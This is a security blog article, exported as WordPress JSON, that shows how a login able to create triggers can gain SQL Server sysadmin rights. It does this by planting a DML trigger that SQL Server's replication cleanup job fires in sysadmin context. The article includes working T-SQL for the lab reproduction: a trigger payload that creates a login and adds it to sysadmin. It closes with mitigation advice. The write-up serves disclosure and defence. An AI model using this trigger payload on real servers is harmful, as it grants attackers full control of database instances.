{"id":108031,"date":"2025-12-22T14:50:00","date_gmt":"2025-12-22T14:50:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=108031"},"modified":"2025-12-18T14:20:59","modified_gmt":"2025-12-18T14:20:59","slug":"sql-server-privilege-escalation-via-replication-jobs","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server-privilege-escalation-via-replication-jobs\/","title":{"rendered":"SQL Server Privilege Escalation via Replication Jobs"},"content":{"rendered":"\n<p>Privilege escalation in <a href=\"https:\/\/www.red-gate.com\/simple-talk\/tag\/sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server<\/a> isn\u2019t just theory &#8211; it can happen through everyday maintenance jobs. This article demonstrates how a user with roles like <code>db_owner<\/code> or <code>db_ddladmin<\/code> can exploit replication cleanup processes to gain <a href=\"https:\/\/www.splunk.com\/en_us\/blog\/learn\/system-administrator-sysadmin-role.html\" target=\"_blank\" rel=\"noreferrer noopener\">sysadmin<\/a> rights, and why monitoring <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-triggers-good-scary\/\" target=\"_blank\" rel=\"noreferrer noopener\">trigger<\/a> creation and job behavior is critical for security.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-is-privilege-escalation-in-sql-server\">What is Privilege Escalation in SQL Server?<\/h2>\n\n\n\n<p>Privilege escalation is the process by which an attacker obtains higher <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-access-control-basics\/\" target=\"_blank\" rel=\"noreferrer noopener\">access rights<\/a> than originally granted. In practical terms, it means a low-privileged account or process finds a way to perform <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-security-fixed-server-and-database-roles\/\" target=\"_blank\" rel=\"noreferrer noopener\">actions<\/a> that should only be allowed to administrators. <\/p>\n\n\n\n<p>Because privileges determine what a user or process can do, escalation breaks containment boundaries and turns small footholds into full system compromise.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-replication-cleanup-jobs-become-an-attack-vector\">How Replication Cleanup Jobs Become an Attack Vector<\/h2>\n\n\n\n<p>When you configure a SQL Server instance to use <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-replication-crib-sheet\/#:~:text=A%20Distributor%20is%20a%20specialist,other%20database%20systems%20in%20replication.\" target=\"_blank\" rel=\"noreferrer noopener\">distributor for replication<\/a>, SQL Server creates several maintenance jobs under <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/databases\/msdb-database?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">msdb<\/a> to perform cleanup and housekeeping tasks. <\/p>\n\n\n\n<p>One such job is <em>\u201cExpired subscription clean up\u201d<\/em>, which is automatically scheduled to run at 1AM daily and calls the <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/40-problems-sql-server-stored-procedure\/\" target=\"_blank\" rel=\"noreferrer noopener\">system stored procedure<\/a> <code>sys.sp_expired_subscription_cleanup<\/code>. That procedure performs <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/theory-and-design\/data-control-language-aka-security\/\" target=\"_blank\" rel=\"noreferrer noopener\">DML<\/a> against replication metadata tables (for example, <code>dbo.MSpeer_request<\/code>) as part of its cleanup work.<\/p>\n\n\n\n<p>This job can be used as an escalation path. As <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/triggers\/manage-trigger-security?view=sql-server-ver17&amp;source=recommendations\" target=\"_blank\" rel=\"noreferrer noopener\">documented here<\/a>, <em>\u201cDML and DDL triggers execute under the context of the user that calls the trigger. The caller of a trigger is the user that executes the statement that causes the trigger to run.\u201d<\/em> <\/p>\n\n\n\n<p>For example, if job \u201cExpired subscription clean up\u201d, running under <code>sysadminscope<\/code>, runs a <code>DELETE<\/code> statement that causes a DML trigger&nbsp;to run, the code inside&nbsp;the trigger executes in the context of the sysadmin privileges. This behavior can be exploited by users who want to introduce malicious code in the instance.<\/p>\n\n\n\n<p>My friend <a href=\"https:\/\/www.sommarskog.se\/index.html\" target=\"_blank\" rel=\"noreferrer noopener\">Erland Sommarskog<\/a> wrote an outstanding (as always) article with details of this, and also did a <a href=\"https:\/\/www.youtube.com\/watch?v=oaRq0mt0xv0\" target=\"_blank\" rel=\"noreferrer noopener\">presentation speaking about it<\/a>. For more information about permission hijack using DDL or DML triggers, take a look at <a href=\"https:\/\/www.sommarskog.se\/perm-hijack.html\" target=\"_blank\" rel=\"noreferrer noopener\">his article<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-step-by-step-exploit-demonstration\">Step-by-Step Exploit Demonstration<\/h2>\n\n\n\n<p>The following is a reproduction for a lab\/test environment:<\/p>\n\n\n\n<p>First, create a regular login and database user:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE master;\nGO\nCREATE LOGIN [RegularLogin] WITH PASSWORD = 'theirpassword';\nGO\nCREATE DATABASE DBA1;\nGO\nUSE DBA1;\nGO\nCREATE USER [RegularLogin] FOR LOGIN [RegularLogin];\nGO<\/pre><\/div>\n\n\n\n<p>Next, enable replication options and create a publication (test labs only &#8211; replication setup creates the cleanup job):<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- This is a simplified example for a lab environment\nEXEC sp_replicationdboption @dbname='DBA1', @optname = N'publish', @value='true';\nGO\nEXEC sp_addpublication @publication = N'Pub1', @description = N'Transactional publication', @sync_method = N'concurrent';\nGO<\/pre><\/div>\n\n\n\n<p>As <code>RegularLogin<\/code>, create a malicious trigger on <code>dbo.MSpeer_request<\/code>:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE DBA1;\nGO\nEXECUTE AS LOGIN = 'RegularLogin';\nGO\nDROP TRIGGER IF EXISTS tr_1;\nGO\nCREATE TRIGGER tr_1\nON dbo.MSpeer_request\nAFTER DELETE\nAS\nBEGIN\n  -- escalation payload (example)\n  IF NOT EXISTS(SELECT * FROM sys.server_principals WHERE name = 'LoginSysAdmin1')\n  BEGIN\n    CREATE LOGIN [LoginSysAdmin1] WITH PASSWORD=N'P@ssw0rd!', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF;\n  END\n  ALTER SERVER ROLE [sysadmin] ADD MEMBER [LoginSysAdmin1];\nEND\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n<p>Now, trigger the job or wait for its next execution:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE msdb;\nGO\nEXEC dbo.sp_start_job N'Expired subscription clean up';\nGO<\/pre><\/div>\n\n\n\n<p>Finally, verify the escalation:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT IS_SRVROLEMEMBER('sysadmin','LoginSysAdmin1') AS IsSysAdmin;\nGO<\/pre><\/div>\n\n\n\n<p>And just like that, the result returns <code>1<\/code>, indicating the attacker-created login is a sysadmin.<\/p>\n\n\n\n<p>Any login with permission to create a trigger (such as members of the <code>db_ddladmin<\/code> fixed database role) can potentially elevate their privileges by manipulating code that might get executed under high privileges, so their actions should be monitored.<\/p>\n\n\n\n<section id=\"my-first-block-block_4de680f6351d381ac4ca3d99201b8bfa\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Subscribe to the Simple Talk newsletter<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            Get selected articles, event information, podcasts and other industry content delivered straight to your inbox every two weeks.                                    <\/div>\n            <\/div>\n                            <a href=\"https:\/\/www.red-gate.com\/simple-talk\/subscribe\/\" class=\"btn btn--secondary btn--lg\">Subscribe now<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-microsoft-considers-this-by-design\">Why Microsoft Considers This &#8220;By Design&#8221;<\/h2>\n\n\n\n<p>I\u2019ve reported this to Microsoft, but they say it&#8217;s a known behavior and don&#8217;t consider it a security vulnerability. I find this a bit weird, as they considered other similar escalation paths a problem that required a fix &#8211; for instance, a recent <a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5063814-description-of-the-security-update-for-sql-server-2022-cu20-august-12-2025-8744624f-a95c-4902-a191-5a25079d7f37#bkmk_4437714\" target=\"_blank\" rel=\"noreferrer noopener\">security fix was released<\/a> to adjust job <code>syspolicy_purge_history<\/code> to run code under <code>[##MS_PolicyTsqlExecutionLogin##]<\/code> login to <em>\u201cPrevents elevation of privilege by running SQL Agent job steps for built-in jobs with reduced permissions.\u201d<\/em><\/p>\n\n\n\n<p>With this in mind, don\u2019t expect a \u201cfix\u201d from their side, so make sure you\u2019re implementing the right measures to prevent this issue.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-mitigation-strategies-for-sql-server-privilege-escalation\">Mitigation Strategies for SQL Server Privilege Escalation<\/h2>\n\n\n\n<p>This vulnerability illustrates a fundamental principle: automated maintenance and convenience features can inadvertently become elevation vectors when the interaction between internal privileged processes and user-extensible features is not carefully controlled.<\/p>\n\n\n\n<p>Specifically, allowing user-created DML triggers on tables affected by privileged internal jobs creates a reliable escalation path.<\/p>\n\n\n\n<p>Mitigation requires layered controls: tighten who can create triggers on replication tables, monitor and alert on trigger creation and server principal provisioning, and, at the product level, ensure that built-in maintenance work does not execute user code in an elevated context. The fix applied in other built-in job scenarios (running jobs under reduced-permission specialized logins) is an appropriate model to follow here.<\/p>\n\n\n\n<p>Until a vendor-level remediation is applied, all SQL Server users must assume that replication maintenance jobs which perform DML against user-accessible objects might be exploitable and act accordingly: audit, restrict trigger creation, and monitor for suspicious principal changes.<\/p>\n\n\n\n<section id=\"faq\" class=\"faq-block my-5xl\">\n    <h2>FAQs: SQL Server Privilege Escalation via Replication Jobs<\/h2>\n\n                        <h3 class=\"mt-4xl\">1. What is privilege escalation in SQL Server?<\/h3>\n            <div class=\"faq-answer\">\n                <div>Privilege escalation occurs when a user gains higher permissions than originally granted, such as moving from <code>db_owner<\/code> to <code>sysadmin<\/code>.<\/div>\n            <\/div>\n                    <h3 class=\"mt-4xl\">2. How can replication cleanup jobs lead to sysadmin access in SQL Server?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">SQL Server\u2019s \u201cExpired subscription clean up\u201d job runs under sysadmin context. If a user creates a malicious DML trigger on replication tables, the trigger executes with sysadmin privileges when the job runs.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">3. Does Microsoft consider this a SQL Server vulnerability?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">Microsoft classifies this as \u201cby design\u201d behavior &#8211; <em>not<\/em> a security vulnerability &#8211; because triggers execute under the caller\u2019s context. However, it can be exploited if permissions are mismanaged.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">4. Who is at risk of exploiting this method in SQL Server?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">Any login with rights to create triggers on replication tables -such as members of <\/span><code>db_ddladmin<\/code><span style=\"font-size: 1rem\"> or <\/span><code>db_owner -<\/code><span style=\"font-size: 1rem\">can potentially use this escalation path.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">5. How do you prevent privilege escalation via triggers?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">Mitigation includes restricting trigger creation on replication tables, auditing trigger changes, monitoring for new sysadmin principals, and running maintenance jobs under reduced-permission accounts.<\/span><\/p>\n            <\/div>\n            <\/section>\n\n\n\n<p><strong><em>Enjoy this article? Take a look at the latest SQL Server content published here on Simple Talk:<\/em><\/strong><\/p>\n\n\n<ul class=\"wp-block-latest-posts__list wp-block-latest-posts\"><li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/managed-identities-in-sql-server-2025-a-complete-guide\/\">What are managed identities in SQL Server 2025? A complete guide<\/a><\/li>\n<li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/what-is-chunking-and-how-does-it-apply-to-vectors-in-sql-server-2025\/\">What is chunking, and how does it apply to vectors in SQL Server 2025?<\/a><\/li>\n<li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/what-are-the-top-database-platforms-in-2026-a-look-at-the-latest-data\/\">What are the top database platforms in 2026? A look at the latest data<\/a><\/li>\n<li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/ai\/when-and-when-not-to-use-llms-in-your-data-pipeline\/\">When, and when not, to use LLMs in your data pipeline<\/a><\/li>\n<li><a class=\"wp-block-latest-posts__post-title\" href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/can-sql-server-2025s-regexp_split_to_table-fix-string_split-in-t-sql\/\">Can SQL Server 2025&#8217;s REGEXP_SPLIT_TO_TABLE fix STRING_SPLIT in T-SQL?\u00a0<\/a><\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>Learn how attackers can exploit SQL Server replication cleanup jobs to escalate privileges from db_owner to sysadmin, and discover practical steps to prevent it.&hellip;<\/p>\n","protected":false},"author":65554,"featured_media":108032,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[143523,53,143530,143524],"tags":[4619,4150,4151],"coauthors":[6809],"class_list":["post-108031","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-databases","category-featured","category-security","category-sql-server","tag-security","tag-sql","tag-sql-server"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/108031","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/65554"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=108031"}],"version-history":[{"count":2,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/108031\/revisions"}],"predecessor-version":[{"id":108036,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/108031\/revisions\/108036"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media\/108032"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=108031"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=108031"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=108031"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=108031"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}